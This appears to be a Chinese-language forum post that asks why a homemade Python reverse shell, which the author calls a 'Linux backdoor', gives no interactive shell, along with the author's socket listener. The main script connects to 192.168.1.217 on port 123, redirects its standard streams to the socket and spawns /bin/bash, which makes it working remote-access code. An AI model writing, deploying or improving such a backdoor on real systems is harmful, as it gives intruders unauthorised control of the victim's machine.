|
[php]#!/usr/bin/python
def useage(name):
print 'This\'s Linux backdoor'
print 'Useage:%s' %name
import sys
import socket
shell='/bin/bash'
def main():
# if len(sys.argv) !=1:
# useage(sys.argv[1:])
# sys.exit(1)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
try:
# s.connect((socket.gethostbyname(sys.argv[1]),int(sys.argv[2])))
s.connect((socket.gethostbyname('192.168.1.217'),int(123)))
print '[+]Connect OK'
except:
print "[-]Can't connect"
sys.exit(2)
import os
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
import pty
global shell
pty.spawn(shell)\\创建SHELL进程!!!!
s.close()
if __name__ == '__main__':
main()
[/php]
通过socket 连接至192.168.1.217 123监听端口建立,反向连接的shell ,但我发现一个问题,就是192.168.1.217上,我运行的监听程序能成功建立socket连接,但无法得到pty.spawn(shell) ,意思'/bin/bash'的进程
如下是我写的监听程序
[php]import socket,os
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host=socket.gethostbyname('192.168.1.217')
port=123
s.bind((host,port))
s.listen(4)
while True:
c,addr=s.accept()
c.close
[/php] |
|